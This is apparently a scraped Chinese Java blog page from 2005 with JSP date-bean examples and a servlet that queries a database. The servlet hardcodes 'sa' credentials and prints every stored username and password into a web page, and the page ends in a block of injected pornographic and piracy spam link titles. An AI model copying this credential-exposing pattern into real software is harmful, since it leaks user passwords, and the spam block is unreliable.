        <body style="font-family:verdana;font-size:10pt;">
            <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
            <h2>Today's date is <%= date.getDate() %></h2>
        </body>
    </html>

    或:
    dateBean_getProperty.jsp
    <html>
        <head><title>Professional JSP, 3rd Edition</title></head>
        <body style="font-family:verdana;font-size:10pt;">
            <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
            <h2>Today's date is <jsp:getProperty name="date" property="date"/></h2>
        </body>
    </html>

    dateBean_setProperty.jsp
    <html>
        <head><title>Professional JSP, 3rd Edition</title></head>
        <body style="font-family:verdana;font-size:10pt;">
            <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
            <jsp:setProperty name="date" property="format"
                             value="EEE, d MMM yyyy HH:mm:ss z"/>
            <h2>Today's date is <jsp:getProperty name="date" property="date"/></h2>
        </body>
    </html>

    其中DateFormatBean.java:
       package com.apress.projsp20.ch01;

        import java.util.Date;
        import java.text.*;

        public class DateFormatBean {
          private DateFormat dateFormat;
          private Date date;

          public DateFormatBean() {
            dateFormat = DateFormat.getInstance();
            date = new Date();
          }

          public String getDate() {
            return dateFormat.format(date);
          }

          public void setDate(Date date) {
            this.date = date;
          }

          public void setFormat(String format) {
            this.dateFormat = new SimpleDateFormat(format);
          }
        }
    例:SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

    posted @ 2005-08-24 17:20 my java 閱讀(301) | 評(píng)論 (0)編輯 收藏


    DBPhoneLookupReuse.java
    import java.io.*;
    import java.sql.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    public class DBPhoneLookupReuse extends HttpServlet {

      private Connection con = null;

      public void init() throws ServletException {
        try {
          // Load (and therefore register) the Sybase driver
          Class.forName("com.jnetdirect.jsql.JSQLDriver");
          con = DriverManager.getConnection(
            "jdbc:JSQLConnect://127.0.0.1/database=JAAS", "sa", "db_password");
        }
        catch (ClassNotFoundException e) {
          throw new UnavailableException("Couldn't load database driver");
        }
        catch (SQLException e) {
          throw new UnavailableException("Couldn't get db connection");
        }
      }

      public void doGet(HttpServletRequest req, HttpServletResponse res)
                                   throws ServletException, IOException {
        res.setContentType("text/html");
        PrintWriter out = res.getWriter();

        out.println("<HTML><HEAD><TITLE>Phonebook</TITLE></HEAD>");
        out.println("<BODY>");

        HtmlSQLResult result =
          new HtmlSQLResult("SELECT UserName,Password FROM Users", con);

        // Display the resulting output
        out.println("<H2>Users:</H2>");
        out.println(result);
        out.println("</BODY></HTML>");
      }

      public void destroy() {
        // Clean up.
        try {
          if (con != null) con.close();
        }
        catch (SQLException ignored) { }
      }
    }

    HtmlSQLResult.java
    import java.sql.*;

    public class HtmlSQLResult {
      private String sql;
      private Connection con;

      public HtmlSQLResult(String sql, Connection con) {
        this.sql = sql;
        this.con = con;
      }

      public String toString() {  // can be called at most once
        StringBuffer out = new StringBuffer();

        // Uncomment the following line to display the SQL command at start of table
        // out.append("Results of SQL Statement: " + sql + "<P>\n");

        try {
          Statement stmt = con.createStatement();

          if (stmt.execute(sql)) {
            // There's a ResultSet to be had
            ResultSet rs = stmt.getResultSet();
            out.append("<TABLE>\n");

            ResultSetMetaData rsmd = rs.getMetaData();

            int numcols = rsmd.getColumnCount();
      
            // Title the table with the result set's column labels
            out.append("<TR>");
            for (int i = 1; i <= numcols; i++)
              out.append("<TH>" + rsmd.getColumnLabel(i));
            out.append("</TR>\n");

            while(rs.next()) {
              out.append("<TR>");  // start a new row
              for(int i = 1; i <= numcols; i++) {
                out.append("<TD>");  // start a new data element
                Object obj = rs.getObject(i);
                if (obj != null)
                  out.append(obj.toString());
                else
                  out.append("&nbsp;");
                }
              out.append("</TR>\n");
            }

            // End the table
            out.append("</TABLE>\n");
          }
          else {
            // There's a count to be had
            out.append("<B>Records Affected:</B> " + stmt.getUpdateCount());
          }
        }
        catch (SQLException e) {
          out.append("</TABLE><H1>ERROR:</H1> " + e.getMessage());
        }
      
        return out.toString();
      }
    }

    posted @ 2005-08-24 14:49 my java 閱讀(463) | 評(píng)論 (0)編輯 收藏
    主站蜘蛛池模板: 亚洲女同成av人片在线观看| 一区国严二区亚洲三区| 精品久久久久国产免费| 免费视频淫片aa毛片| 成人亚洲综合天堂| 亚洲国产精品无码久久久秋霞2| 日本久久久久亚洲中字幕| 亚洲1234区乱码| 特级aaaaaaaaa毛片免费视频| 国产中文字幕在线免费观看| 国产91免费视频| 免费少妇a级毛片| 亚洲精品卡2卡3卡4卡5卡区| 亚洲成人网在线观看| 美女免费视频一区二区| 日本人成在线视频免费播放| 成年性午夜免费视频网站不卡| 亚洲av中文无码| 亚洲第一网站免费视频| 羞羞漫画页面免费入口欢迎你| 中文字幕免费观看全部电影| 无码国产精品一区二区免费| 亚洲欧洲日本在线| 亚洲狠狠狠一区二区三区| 黄色片网站在线免费观看| 91制片厂制作传媒免费版樱花| 日美韩电影免费看| 亚洲欧洲第一a在线观看| 国产成人精品久久亚洲高清不卡| 中文字幕成人免费高清在线| 免费鲁丝片一级观看| 久久青青成人亚洲精品| 国产亚洲综合视频| 99视频有精品视频免费观看| 国产伦精品一区二区三区免费下载| 亚洲国产精品第一区二区| 99亚洲乱人伦aⅴ精品| 97av免费视频| 亚洲国产另类久久久精品黑人| 亚洲人成人伊人成综合网无码| 日韩免费的视频在线观看香蕉|